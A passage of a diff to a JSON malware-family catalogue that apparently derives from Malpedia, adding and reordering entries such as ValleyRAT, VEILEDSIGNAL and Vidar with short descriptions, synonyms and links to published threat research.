Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.", + "description": "This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. \r\nIt is also used by attackers to gather a target\u2019s data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler.Given that the Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080", @@ -48933,9 +51214,7 @@ "description": "Downloader used in suspected APT attack against Vietnam.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089", - "https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/", - "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089" ], "synonyms": [ "5.t Downloader" @@ -48949,9 +51228,7 @@ "description": "Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_090", - "https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_090" ], "synonyms": [], "type": [] @@ -49003,9 +51280,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094", - "https://twitter.com/katechondic/status/1556940169483264000" + "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html", + "https://twitter.com/katechondic/status/1556940169483264000", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", + "https://www.lac.co.jp/lacwatch/report/20221117_003189.html" + ], + "synonyms": [ + "ClaimLoader", + "PUBLOAD" ], - "synonyms": [], "type": [] }, "uuid": "db8f94e9-768d-4ad1-befb-55b4b820174f", @@ -49043,8 +51326,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_097", - "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", - "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/" ], "synonyms": [], "type": [] @@ -49100,7 +51383,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101", - "https://twitter.com/RedDrip7/status/1595365451495706624" + "https://twitter.com/RedDrip7/status/1595365451495706624", + "https://securelist.com/bluenoroff-methods-bypass-motw/108383/" ], "synonyms": [], "type": [] @@ -49109,12 +51393,10 @@ "value": "Unidentified 101 (Lazarus?)" }, { - "description": "", + "description": "Donot malware is a sophisticated, high-level malware toolkit designed to collect and exfiltrate information from vulnerable systems. It has been used in targeted attacks against government and military organizations in Asia. Donot malware is highly complex and well-crafted, and it poses a serious threat to information security.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102", - "https://labs.k7computing.com/index.php/the-donot-apt/", - "https://blog.morphisec.com/apt-c-35-new-windows-framework-revealed" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102" ], "synonyms": [], "type": [] @@ -49127,14 +51409,110 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor", "https://otx.alienvault.com/pulse/61e7f74a936eea5d44026b8e" ], - "synonyms": [], + "synonyms": [ + "Sardonic" + ], "type": [] }, "uuid": "07106811-cd07-4d05-906d-c05208758b00", "value": "Unidentified 103 (FIN8)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104", + "https://twitter.com/jaydinbas/status/1663916211975987201" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ec530093-5ffc-45f1-b04d-accf3269b2d2", + "value": "Unidentified 104" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_105", + "https://twitter.com/h2jazi/status/1681426768597778440" + ], + "synonyms": [], + "type": [] + }, + "uuid": "07464f74-f587-4266-b828-448c67d2bd85", + "value": "Unidentified 105" + }, + { + "description": "This is possibly related to the MATA framework / Dacls.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106", + "https://www.virustotal.com/gui/file/3c1cfc2b8b7e5c2d713ec5f329aa58a6b56a08240199761ba6da91e719d30705/detection" + ], + "synonyms": [], + "type": [] + }, + "uuid": "da2d8044-ed12-4951-bcd8-fd1e1335244a", + "value": "Unidentified 106" + }, + { + "description": "Small shellcode downloader, likely used by APT29.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107", + "https://lab52.io/blog/2344-2/", + "https://blog.eclecticiq.com/german-embassy-lure-likely-part-of-campaign-against-nato-aligned-ministries-of-foreign-affairs#a3", + "https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA%3D%3D&mid=2247494783&idx=1&sn=612cf3cea1ef62e04bfb6bd0ce3b6b65&chksm=f9ed80c0ce9a09d6f5edc1424df5260cb9a9cf55fe92bd922407eef960650e91ec8cc46933ab&scene=178&cur_album_id=1375769135073951745" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e83a3731-9c84-4e36-a2da-9e6c9c2461d7", + "value": "Unidentified 107 (APT29)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_108", + "https://www.virustotal.com/gui/file/8c94a3cef4e45a1db05ae9723ce5f5ed66fc57316e9868f66c995ebee55f5117/detection" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ee09eba1-e96e-476f-9372-e99218d8ab90", + "value": "Unidentified 108" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109", + "https://twitter.com/malwrhunterteam/status/1689533484597952514" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ad37d6ad-e9b7-4652-8a2e-502b170932e7", + "value": "Unidentified 109 (Lazarus?)" + }, + { + "description": "According to Deep Instinct, this information stealer is written in Rust and was observed in Operation Rusty Flag.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110", + "https://www.deepinstinct.com/blog/operation-rusty-flag-a-malicious-campaign-against-azerbaijanian-targets" + ], + "synonyms": [], + "type": [] + }, + "uuid": "00dac929-3038-4fc1-a1a5-0fd895126e92", + "value": "Unidentified 110 (RustyFlag)" + }, { "description": "", "meta": { @@ -49170,11 +51548,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre", - "https://secrary.com/ReversingMalware/Upatre/", "https://marcoramilli.com/2020/06/24/is-upatre-downloader-coming-back/", + "https://secrary.com/ReversingMalware/Upatre/", "https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/", - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", - "https://unit42.paloaltonetworks.com/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/" + "https://unit42.paloaltonetworks.com/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/" ], "synonyms": [], "type": [] @@ -49199,20 +51577,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", - "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/", - "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", - "https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/", - "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", - "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", - "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", "https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations", - "https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA", + "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/", + "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", "https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html", - "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features" + "https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/", + "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/", + "https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA", + "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", + "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware" ], "synonyms": [ "Bebloh", @@ -49228,23 +51606,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos", - "https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg", - "https://artemonsecurity.com/snake_whitepaper.pdf", "https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", - "https://www.circl.lu/pub/tr-25/", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://exatrack.com/public/Uroburos_EN.pdf", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", - "https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", - "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", "https://artemonsecurity.com/uroburos.pdf", + "https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken", + "https://research.nccgroup.com/2018/11/22/turla-png-dropper-is-back/", + "https://exatrack.com/public/Uroburos_EN.pdf", + "https://artemonsecurity.com/snake_whitepaper.pdf", + "https://www.circl.lu/pub/tr-25/", + "https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", + "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", + "https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation", - "https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots" + "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf" ], "synonyms": [ "Snake" @@ -49259,9 +51638,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit", + "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view", "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/", - "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view" + "https://securelist.com/cycldek-bridging-the-air-gap/97157/" ], "synonyms": [], "type": [] @@ -49274,9 +51653,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry", + "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf" ], "synonyms": [], "type": [] @@ -49289,8 +51668,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vadokrist", - "https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/", - "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf", + "https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/" ], "synonyms": [], "type": [] @@ -49311,14 +51690,28 @@ "uuid": "006621d1-a3bd-40f2-a55c-d79c84879a6b", "value": "Vaggen" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat", + "https://www.proofpoint.com/us/blog/threat-insight/chinese-malware-appears-earnest-across-cybercrime-threat-landscape", + "https://www.secrss.com/articles/52018" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fcf8f520-27a9-493e-a274-fbfd70b733b0", + "value": "ValleyRAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.valuevault", - "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" ], "synonyms": [], "type": [] @@ -49344,8 +51737,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage", - "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", "https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58" ], "synonyms": [ @@ -49361,8 +51754,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky", - "https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/", - "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/" + "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", + "https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/" ], "synonyms": [], "type": [] @@ -49375,17 +51768,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak", - "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", - "https://medium.com/@Ilandu/vawtrak-malware-824818c1837", - "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", "https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/", + "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://medium.com/@Ilandu/vawtrak-malware-824818c1837", "http://thehackernews.com/2017/01/neverquest-fbi-hacker.html", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", "https://www.secureworks.com/research/dyre-banking-trojan", "https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ @@ -49418,8 +51811,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker", - "https://twitter.com/malwrhunterteam/status/1095024267459284992", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://twitter.com/malwrhunterteam/status/1095024267459284992", "https://twitter.com/malwrhunterteam/status/1093136163836174339", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/", "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" @@ -49433,6 +51826,19 @@ "uuid": "704bb00f-f558-4568-824c-847523700043", "value": "VegaLocker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b75f0dfd-15df-439d-8ff0-8e8f87656565", + "value": "VEILEDSIGNAL" + }, { "description": "Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension. ", "meta": { @@ -49465,8 +51871,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.venom", "https://www.cybeseclabs.com/2020/05/07/venom-remote-administration-tool-from-venom-software/", - "https://blog.malwarelab.pl/posts/venom/", - "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html" + "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", + "https://blog.malwarelab.pl/posts/venom/" ], "synonyms": [], "type": [] @@ -49480,10 +51886,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk", "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", - "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", "https://www.esentire.com/web-native-pages/unmasking-venom-spider", - "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", - "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/" + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire" ], "synonyms": [], "type": [] @@ -49522,8 +51928,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin", - "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html", "https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/", + "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html", "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" ], "synonyms": [], @@ -49550,12 +51956,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware", - "https://twitter.com/GrujaRS/status/1241657443282825217", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" + "https://twitter.com/GrujaRS/status/1241657443282825217", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html" ], "synonyms": [], "type": [] @@ -49564,14 +51970,14 @@ "value": "VHD Ransomware" }, { - "description": "VictoryGate was the name of a cryptomining botnet, which was disrupted by ESET researchers in April 2020. The used malware itself was also referred to as VictoryGate. It was spotted in May 2019 and targeted mainly Latin American users, specifically, Peru (Criptonizando states 90% of the botnet publication residing there). Both public and private sectors were targeted.\r\nThis cryptojacking malware was specialized in Monero (XRM) cryptocurrency.", + "description": "VictoryGate was the name of a cryptomining botnet, which was disrupted by ESET researchers in April 2020. The used malware itself was also referred to as VictoryGate. It was spotted in May 2019 and targeted mainly Latin American users, specifically, Peru (Criptonizando states 90% of the botnet publication residing there). Both public and private sectors were targeted.\r\nThis cryptojacking malware was specialized in Monero (XRM) cryptocurrency. VictoryGate shows very strong code overlap with win.orchard.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate", + "https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/", "https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/", - "https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/", "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/" + "https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/" ], "synonyms": [], "type": [] @@ -49584,59 +51990,64 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar", - "https://isc.sans.edu/diary/rss/28468", + "https://twitter.com/GroupIB_GIB/status/1570821174736850945", + "https://asec.ahnlab.com/en/30445/", + "https://cert.pl/en/posts/2021/10/vidar-campaign/", + "https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", + "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader", "https://ke-la.com/information-stealers-a-new-landscape/", - "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", - "https://blog.jaalma.io/vidar-infostealer-analysis/", - "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", - "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", - "https://intel471.com/blog/privateloader-malware", + "https://darktrace.com/blog/vidar-info-stealer-malware-distributed-via-malvertising-on-google", + "https://www.team-cymru.com/post/darth-vidar-the-aesir-strike-back", + "https://threatpost.com/microsoft-help-files-vidar-malware/179078/", + "https://eln0ty.github.io/malware%20analysis/vidar/", + "https://isc.sans.edu/diary/rss/28468", + "https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/", + "https://asec.ahnlab.com/en/30875/", + "https://asec.ahnlab.com/en/22932/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://community.emergingthreats.net/t/vidar-stealer-picks-up-steam/271", + "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/", + "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", + "https://blog.jaalma.io/vidar-infostealer-analysis/", + "https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.secureworks.com/research/the-growing-threat-from-infostealers", "https://kienmanowar.wordpress.com/2022/12/17/quicknote-vidarstealer-analysis/", "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html", - "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", - "https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/", - "https://twitter.com/GroupIB_GIB/status/1570821174736850945", - "https://eln0ty.github.io/malware%20analysis/vidar/", - "https://asec.ahnlab.com/ko/25837/", - "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign", - "https://asec.ahnlab.com/en/22932/", - "https://asec.ahnlab.com/en/30445/", - "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/", - "https://www.cynet.com/blog/cyops-lighthouse-vidar-stealer/", - "https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal", - "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/", - "https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/", - "https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468", - "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", - "https://asec.ahnlab.com/en/30875/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://twitter.com/sisoma2/status/1409816282065743872", - "https://cert.pl/en/posts/2021/10/vidar-campaign/", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://www.youtube.com/watch?v=lxdlNOaHJQA", - "https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html", - "https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - 